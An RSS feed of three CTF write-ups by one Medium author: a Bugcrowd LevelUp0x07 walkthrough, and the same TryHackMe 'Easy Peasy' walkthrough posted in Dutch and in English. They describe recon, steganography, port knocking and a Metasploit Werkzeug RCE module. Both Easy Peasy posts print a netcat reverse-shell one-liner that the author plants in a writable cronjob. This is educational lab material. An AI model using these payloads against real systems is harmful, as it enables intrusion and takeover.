<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by r1me on Medium]]></title>
        <description><![CDATA[Stories by r1me on Medium]]></description>
        <link>https://medium.com/@r1me?source=rss-365d3fd0d665------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Cjykxa6vZKuU3dZ8bnuHNQ.jpeg</url>
            <title>Stories by r1me on Medium</title>
            <link>https://medium.com/@r1me?source=rss-365d3fd0d665------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 01:11:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@r1me/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CTF | LevelUp0x07 write-up [Hard]]]></title>
            <link>https://medium.com/@r1me/ctf-levelup0x07-write-up-hard-ec4713abbf88?source=rss-365d3fd0d665------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec4713abbf88</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[bugcrowd]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[r1me]]></dc:creator>
            <pubDate>Sun, 23 Aug 2020 15:45:12 GMT</pubDate>
            <atom:updated>2020-08-23T15:45:12.668Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello my fellow hackers :) Welcome back to another write-up! This write-up is about an amazing <strong>CTF </strong>called <strong>“</strong><a href="https://bugcrowd.com/levelup-ctf"><strong>LevelUp0x07 CTF</strong></a><strong>” </strong>from <a href="https://bugcrowd.com/"><strong>Bugcrowd</strong></a>. This is by far the most difficult and also the funniest ctf that I have solved. I want to thank LevelUp0x07 and Bugcrowd for giving us this opportunity. The goal of this ctf was to capture <strong>7 flags</strong> while the difficulty of finding the flags was getting harder and harder. Now, I will explain you guys<strong> step by step</strong> what I did and how I’ve solved it…</p><p>First things first, like <strong>bug hunting</strong>, I have started with a <strong>recon</strong>. I reconned the website, and I have used the <strong>“Discover content”</strong> tool from the engagement tools on Burp Suite. Burp discovered a lot of hidden directories and I started exploring them. From experience, I thought that the first <strong>2</strong> flags will be pretty easy to find. So, I wrote ‘flag’ on the “search” bar and checked all the files that Burp found. And actually, that’s how I got my first flags. Pretty easy right ? :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AO7hJJGg1z23WWtZaxeBKw.png" /></figure><p>After I found the second flag, I really felt that it was getting harder and harder. There was a secret <strong>APK</strong> file in a hidden directory. I’ve downloaded and decompiled it. When I was reading the <strong>code</strong> of the APK file, I found this interesting code: Request build = <strong><em>builder.url(https://medium.com/this.URL%20+%20%E2%80%9C/fa694c73da13c94e49cc82b/06a28bdb78b6c02e16862a3/chat%E2%80%9D).header(“3NCRYPT3D-CH4T”, key).build();</em></strong> I basically understood that I had to intercept this url, add a header called “3NCRYPT3D-CH4T” and enter the secret key that I found in the APK file. So, it looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*FJuIRCsD61uKhdRxWt4TnA.png" /></figure><p>After sending this request from Burp <strong>repeater</strong>, I got access to the <strong>chat</strong>. I immediately realised that the chat was <strong>ROT-13 </strong>encoded. So I’ve decoded it using an <strong>online tool</strong> and read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*BRgTJPg94bnOHDllJWiP2A.png" /></figure><p>The <strong>giraffe</strong> image got my attention and I decided to check it out with steganography. <strong>Steganography </strong>is the technique of hiding secret data within an ordinary, non-secret, file or message in order to avoid detection; the secret data is then extracted at its destination. I’ve used a tool called <strong>“stegoveritas” </strong>to extract data from the image and this is how I got my <strong>third flag</strong> :D</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*fmddQydzMn4REMyaBfuGVg.png" /></figure><p>Yep, I was too happy about the 3rd flag so I skipped the coordinates of the location. Because of that, I struggled a lot to find the 4th flag. I went to another url that burp had found: <a href="https://07.levelupctf.com/d41d8cd98f00b204e9800998ecf8427e/8cd98f00b204e9800998/forgotpassword."><strong><em>https://07.levelupctf.com/d41d8cd98f00b204e9800998ecf8427e/8cd98f00b204e9800998/forgotpassword.</em></strong></a> Here, I tried the <strong>usernames</strong> of the agents from the secret chat. Agent_5a247455 and agent_521bcd5 were registered. So, I was stuck with <strong>two</strong> security questions: What is your favorite <strong>hobby</strong>? And what is the name of your favorite <strong>lion</strong> at the zoo?</p><p>After struggling and struggling to find the answers of the questions. I went back to the <strong>giraffe image</strong> and saw the coordinates. I immediately searched those on Google. The coordinates were pointing to a <strong>zoo</strong>, I found the website of the zoo: <a href="http://www.sfzoo.org/">http://www.sfzoo.org/</a> And after googling<strong> “sfzoo lion name“</strong>, I found the name of the lion. So the password reset was<strong> succesful </strong>and responded me a temporary password. And using that password, I managed to <strong>login</strong> as agent_521bcd5. Then, I came accross this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*VV5Q9mTpCoqqA5DoppBnCQ.png" /></figure><p>This was pretty interesting, but <strong>by accident</strong>, I went to the<strong> /radio</strong> directory and surprisingly found the <strong>4th flag</strong> -_- :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*vBpV6Ucb8lXvLFB7NLBcwQ.png" /></figure><p>It also said that Obelisk <strong>hides</strong> the <strong>missions</strong> in <strong>images </strong>so I checked out the <strong>/targets</strong> directory. There were “in total” 9 images, I tried steganography on them but I ended up with <strong>nothing</strong>. But, I could see some numbers on different images, so I decided to save them. Maybe it could be useful for later (it did). So after endless tries, I came up with an idea: <strong>fuzzing</strong> the <strong>image number</strong>. Every image was named like this: /agents/agent01.png. So I intercepted a request and sent it to <strong>intruder</strong>. I’ve added the [01] as a payload and started fuzzing it from 1 to 1000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*6vcq8tfmnG4AGdJq3l1TfQ.png" /></figure><p>Surprisingly, it worked. The <strong>length </strong>of payload <strong>87</strong> “agent87.png” was much <strong>larger </strong>than the other ones:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*aRjU6rq8qJkSJgr8ZQi8nQ.png" /></figure><p>I’ve downloaded the <strong>image </strong>and tried some steganography again. This time I’ve used a tool called <strong>steghide </strong>because the /radio directory gave me a <strong>secret </strong>code called “pwn4llthebugz”. The data were saved to console.txt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A9gTbMb4h2r9vyHwBms8ig.png" /></figure><p>I’ve managed to get the <strong>5th</strong> flag and some big <strong>information</strong>! Thanks to this information, I knew that port <strong>3389 </strong>was important and that the <strong>numbers</strong> on the images of the agents were <strong>ports</strong>… So, the next step was <strong>port knocking</strong>.</p><p><strong>What is port knocking? Port knocking</strong> is a stealth method to externally open ports that, by default, the <strong>firewall </strong>keeps closed. It works by requiring connection attempts to a series of predefined closed ports. With a simple port knocking method, when the correct sequence of port “knocks” (connection attempts) is received, the firewall opens certain port(s) to allow a connection.</p><blockquote>After so many tries, I’ve used the following command to open the port <strong>3389 </strong>and access the console:<br> <strong>nmap</strong> -n -p1337, 415, 2099, 921, 3389 07.levelupctf.com -r -T4 -Pn &amp;&amp; nmap -A -sCV -Pn -T5 -p 3389 07.levelupctf.com | thanks to my bro TESS for the hint.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*V7hD16pIRBZxU2C-Eo29qg.png" /></figure><p>I found out that the server the console was running on is <strong>“Werkzeug”</strong>. After doing some research on Google. I’ve read that I could access <strong>/console</strong>, so I tried it and it worked -_- I was finally getting somewhere…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NqqbpP1VgyVTMhlmq_ciwg.png" /></figure><p>So I tried to execute some <strong>python </strong>codes, but they didn’t work. On Google, I searched for a bypass and exploits for the <strong>“Werkzeug” </strong>console . I found an exploit on <strong>metasploit</strong>: exploit/multi/http/werkzeug_debug_rce .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*koEqttVFswEukG9oKYNgkQ.jpeg" /></figure><p>Thanks to this exploit, I managed to get a <strong>reverse shell</strong> and the<strong> 6th</strong> flag:)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/1*kAkMAI2-MUFedZLR3RTHzg.png" /></figure><p>Afterwards, I tried to do some <strong>‘privilege escalation’,</strong> but I failed again… So I checked all the <strong>directories </strong>and bingo! There was something special in <strong>/opt .</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IxoobeCDlAVNO2xBz7JG-g.png" /></figure><p>I took this information and went back to the <strong>login </strong>page: <a href="https://07.levelupctf.com/login">https://07.levelupctf.com/login</a> <br>I’ve managed to log in with the credentials of <strong>Matriarch</strong>. And that was it! I defeated the Matriarch and her evil spy agency and got <strong>all 7 flags!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*BXGJ3oRDSdTPSJyYG5N_aQ.png" /></figure><blockquote>I want to thank <strong>Bugcrowd</strong> and <strong>LevelUp0x07 CTF</strong> again for this amazing ctf. Thank you guys for reading and I hope I have taught you something new or interesting!</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec4713abbf88" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF | Easy Peasy write-up [NL]]]></title>
            <link>https://medium.com/@r1me/ctf-easy-peasy-write-up-nl-65beac1eace9?source=rss-365d3fd0d665------2</link>
            <guid isPermaLink="false">https://medium.com/p/65beac1eace9</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[r1me]]></dc:creator>
            <pubDate>Tue, 04 Aug 2020 20:10:03 GMT</pubDate>
            <atom:updated>2021-02-14T21:37:59.406Z</atom:updated>
            <content:encoded><![CDATA[<p>Hallo mijn mede hackers! Welkom bij mijn eerste write-up :) Deze write-up gaat over een CTF genaamd <strong>“Easy Peasy”</strong> van<strong> TryHackMe.</strong> De moeilijkheidsgraad van de kamer is “easy” en is een vrij leuke CTF, ik wil de maker <a href="https://medium.com/u/fd40a5c6edcd">Kral4</a> bedanken voor het maken van deze leuke CTF. De link naar de kamer staat aan het einde van de tekst. Laten we aan de slag gaan !</p><p>Voordat we er echt mee aan de slag gaan, wil ik jullie een advies geven. De <strong>ondertitels </strong>en de <strong>beschrijvingen </strong>van de kamers bevatten meestal tips en informatie over de tools die je moet gebruiken. Vergeet ze dus niet eerst te lezen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pQkAdoAyVcPUbXY4heUoxg.png" /></figure><h3>[Task 1] Enumeration through Nmap</h3><p>De eerste taak heeft dus drie vragen die we kunnen <strong>oplossen </strong>met een Nmap-scan.</p><p>#1 Hoeveel poorten zijn er open?<br>#2 Wat is de versie van nginx?<br>#3 Wat werkt er op de hoogste poort?</p><blockquote>Ik heb het volgende nmap command gebruikt : <strong>nmap -A -sCV -p- -Pn &lt;ip&gt;</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*0ZYCp99rV7hVdB5UNXxixw.png" /></figure><h3>[Task 2] Compromising the machine</h3><p>De eerste vraag van de tweede opdracht vraagt ons om <strong>GoBuster </strong>te gebruiken om vlag 1 te vinden. We zien dat de 4e vraag ook vraagt om een verborgen map, misschien kunnen we hier twee vliegen in een klap slaan :)</p><blockquote>Ik heb het volgende command gebruikt om de <strong>verborgen </strong>mappen te vinden.<br><strong>gobuster dir -e -u </strong><a href="http://ip:port/"><strong>http://ip:port/</strong></a><strong> -w /usr/share/wordlists/dirb/…</strong></blockquote><p>Na de scan ging ik naar de robots.txt pagina en zag ik iets interessants.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*DBtEnzz-y7BVpWrU6yvprg.png" /></figure><p>Ik herkende dat het een <strong>sha256 </strong>hash was, dus heb ik een online decoder gebruikt om het te decoderen en dat was zeer verrassend want het was de tweede vlag (<strong>tip</strong>: check top 50 antwoord). De <strong>gobusterscan </strong>vond ook <strong>twee </strong>verborgen mappen die <strong>foto’s </strong>bevatten, ik probeerde wat <strong>steganografie </strong>maar ik eindigde met niets. Ik wil jullie nog een <strong>advies </strong>geven: als jullie CTF’s oplossen vergeet dan niet de broncode van de webpagina’s te controleren. Dus, terwijl ik de broncode van de webpagina met de hoogste poort controleerde, vond ik een <strong>base64 </strong>hash. Ik heb het gedecodeerd met <a href="https://gchq.github.io/CyberChef/">cyberchef </a>en de uitslag was de eerste vlag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*9gvCEePdm7WpntVgk56e5Q.png" /></figure><p>Ik scrollde verder, en ik zag de <strong>derde vlag </strong>in het midden van een alinea. Daarom is het lezen van de broncode belangrijk :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*P479GmFQmrL427Z_Sa_UtA.png" /></figure><p>Na het vinden van de derde vlag herinnerde ik me dat ik de broncode van de webpagina’s met afbeeldingen niet had gelezen. Dus ging ik terug om het te lezen. Godzijdank dat ik het me dat herinnerde, want daar lag de <strong>sleutel </strong>tot het antwoord op de <strong>vierde </strong>vraag. Het was een hash die ik voor het eerst zag, dus gebruikte ik een online hash-analyzer om het type op te sporen en gebruikte ik opnieuw cyberchef om het te decoderen.</p><p>Daarna heb ik de broncode van de verborgen map gecontroleerd die ook afbeeldingen bevatte. In de broncode vond ik een <strong>GOST </strong>hash en gebruikte ik een online decoder om de hash te ontcijferen (lees de hint op TryHackMe).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*joFPWvLpOVfNH1PMN4cNCw.png" /></figure><p>Ik heb de afbeeldingen die op de webpagina van de verborgen map stonden gedownload en heb daarna <strong>steghide </strong>gebruikt om de gegevens er uit te halen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*beZBg-7HSo-HwkA9iEgkRQ.png" /></figure><p>De gegevens werden uitgeschreven in een bestand genaamd<strong> “secrettext.txt”</strong>. Ik las het en het bevatte een <strong>gebruikersnaam </strong>en een <strong>gecrypteerde wachtwoord</strong>. Na het decoderen van het binaire wachtwoord kreeg ik eindelijk mijn <strong>shell </strong>met het volgende commando: <strong>ssh &lt;gebruikersnaam&gt;</strong><a href="http://twitter.com/ip"><strong>@ip</strong></a><strong> -p &lt;port&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*JCMg_EUTi-5B1vKH5Fe_tw.png" /></figure><p>De home map bevatte een bestand genaamd <strong>“user.txt”</strong>, die de <strong>user-vlag </strong>bevatte. Maar het was gecodeerd met <strong>ROT13</strong>, dus heb ik opnieuw een online tool gebruikt om het te decoderen.</p><p>Om het laatste vraag op te lossen, moest ik een administrator zijn. Dankzij de zin in de <strong>beschrijving</strong>: “Then escalate your privileges through a vulnerable cronjob.” heb ik de kwetsbare <strong>cronjob </strong>gevonden die zich in de <strong>/var/www</strong>-directory bevindt. Het was een verborgen <strong>sh</strong> bestand dat bewerkt en uitgevoerd kon worden. Ik heb de volgende code in het bestand geplaatst om een reverse shell te krijgen.</p><blockquote>rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2&gt;&amp;1 | nc &lt;ip&gt;&lt;port&gt; &gt;/tmp/f</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*EA6I7qzumLItNfZz5JFaJg.png" /></figure><p>Tegelijkertijd heb ik ook een <strong>netcat </strong>luisteraar gestart om de root shell te pakken te krijgen. En na een minuut kreeg ik de shell. Ik gebruikte het <strong>whoami </strong>command om te controleren of ik echt root was. De root.txt was ook een verborgen bestand, dus gebruikte ik het<strong> ls -la</strong> command om de verborgen bestanden op te sommen. En tot slot heb ik het <strong>cat </strong>command om de inhoud te kunnen lezen.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*_tUaRF2WBiz7EJN-oq_Z0A.jpeg" /></figure><p>Deze CTF was best leuk om te doen en ook best moeilijk. Ik wil <a href="https://medium.com/u/fd40a5c6edcd">Kral4</a> nogmaals bedanken voor deze mooie CTF en ik raad jullie deze CTF echt aan. Bedankt voor het lezen.</p><p><a href="https://tryhackme.com/room/easypeasyctf">https://tryhackme.com/room/easypeasyctf</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65beac1eace9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CTF | Easy Peasy write-up [THM]]]></title>
            <link>https://medium.com/@r1me/ctf-easy-peasy-write-up-thm-7a842e1ef68e?source=rss-365d3fd0d665------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a842e1ef68e</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[r1me]]></dc:creator>
            <pubDate>Tue, 04 Aug 2020 18:56:37 GMT</pubDate>
            <atom:updated>2020-08-04T20:08:56.929Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello my fellow hackers ! Welcome to my first write-up :) This write-up is about a CTF called <strong>“Easy Peasy”</strong> from <strong>TryHackMe.</strong> The difficulty level of the room is “easy”. But I think that this room is not even close to easy. I would say that this room is pretty close to the difficulty level “hard”. It is also a quite nice CTF, so big up to the creator<strong> </strong><a href="https://medium.com/u/fd40a5c6edcd"><strong>Kral4</strong></a><strong>.</strong> The link to the room will be in the end of my write-up. Let’s get started !</p><p>Before we really get into it, I want to give you guys a piece of advice. The <strong>subtitles</strong> and the <strong>description</strong> of the room usually contain hints and information about the tools that you need to use. So don’t forget to read them first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pQkAdoAyVcPUbXY4heUoxg.png" /></figure><h3><strong>[Task 1] Enumeration through Nmap</strong></h3><p>So the first task has three questions that we can <strong>solve </strong>with a Nmap scan.</p><p><strong>#1 </strong>How many ports are open?<br>#2 What is the version of nginx?<br>#3 What is running on the highest port?</p><blockquote>I’ve used the following nmap command : <strong>nmap -A -sCV -p- -Pn &lt;ip&gt;</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*0ZYCp99rV7hVdB5UNXxixw.png" /></figure><h3><strong><em>[Task 2] Compromising the machine</em></strong></h3><p>The first question of the second task asks us to use <strong>GoBuster </strong>to find flag 1. We see that the 4th question also asks for a hidden directory so maybe we can hit two birds with one stone :)</p><blockquote>I’ve used the following command to find the <strong>hidden </strong>directories.<br><strong>gobuster dir -e -u </strong><a href="http://10.10.149.113/"><strong>http://ip:port/</strong></a><strong> -w /usr/share/wordlists/dirb/…</strong></blockquote><p>After the scan I went to the robots.txt page and I saw something interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*DBtEnzz-y7BVpWrU6yvprg.png" /></figure><p>I recognised that it was a <strong>sha256 </strong>hash so I’ve used an online decoder to decode it and surprisingly, that was our second flag (<strong>hint</strong>: check top 50 answer). The <strong>gobuster </strong>scan also found <strong>two </strong>hidden directories that contained <strong>images</strong>, I tried some <strong>steganography</strong> but I ended up with nothing. I want to give you another <strong>advice </strong>guys: if you are solving CTFs don’t forget to check the source code of the web pages. So, while I was checking the source code of the web page with the highest port, I found a <strong>base64</strong> hash. I’ve decoded it with <a href="https://gchq.github.io/CyberChef/">cyberchef </a>and that was our first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*9gvCEePdm7WpntVgk56e5Q.png" /></figure><p>I scrolled further, and I saw the <strong>third flag </strong>in the middle of a paragraph. This is why reading the source code is important :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*P479GmFQmrL427Z_Sa_UtA.png" /></figure><p>After founding the third flag, I remembered that I didn’t read the source code of the web pages with images. So I went back and read it. Thank God that I remembered it because there was the <strong>key </strong>to the answer of the <strong>fourth </strong>question. It was a hash I didn’t know about, so I used an online hash analyzer to detect the type and used cyberchef again to decode it.</p><p>After that, I’ve checked the source code of the hidden directory who also contained images. In the source code, I found a <strong>GOST </strong>hash and I used an online decoder to decrypt the hash (read the hint on TryHackMe).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/548/1*joFPWvLpOVfNH1PMN4cNCw.png" /></figure><p>I’ve downloaded the images that were on the web page of the hidden directory and used <strong>steghide </strong>to extract data from it. IT WORKED !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*beZBg-7HSo-HwkA9iEgkRQ.png" /></figure><p>The data were written out to a file named<strong> “secrettext.txt”</strong>. I’ve read it and it contained an <strong>username </strong>and a <strong>binary password</strong> which I could use for a <strong>ssh </strong>connection. After decoding the binary password, I finally got my shell with using the following command: <strong><em>ssh &lt;username&gt;@ip -p &lt;port&gt;</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*JCMg_EUTi-5B1vKH5Fe_tw.png" /></figure><p>The directory contained a file named “user.txt”, who contained the <strong>user flag</strong>. But it was encoded with <strong>ROT13</strong>, so I’ve used an online tool do decode it.</p><p>To solve the last question, I needed to get a root access. Thanks to the sentence in the <strong>description: </strong>“Then escalate your privileges through a vulnerable cronjob.” I found the vulnerable <strong>cronjob </strong>who locates in the <strong>/var/www</strong> directory. It was a hidden <strong>sh </strong>file who could be edited and executed. I’ve inserted the following code into the file to get a reverse shell.</p><blockquote><em>rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2&gt;&amp;1 | nc &lt;ip&gt;&lt;port&gt; &gt;/tmp/f</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*EA6I7qzumLItNfZz5JFaJg.png" /></figure><p>At the same time, I also started a <strong>netcat </strong>listener to get my root shell. And after a minute I got it. I used the <strong>whoami </strong>command to check if I really was root. And yes I was. The root.txt was also a hidden file, so I used the <strong>ls -la </strong>command to list the hidden files and lastly used the <strong>cat </strong>command to read it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*_tUaRF2WBiz7EJN-oq_Z0A.jpeg" /></figure><p>This CTF was pretty fun to do and also pretty hard. I want to thank <a href="https://medium.com/u/fd40a5c6edcd">Kral4</a> again for this beautiful CTF and make sure to try it out. Thank you for reading.</p><p><a href="https://tryhackme.com/room/easypeasyctf">TryHackMe | Easy Peasy</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a842e1ef68e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>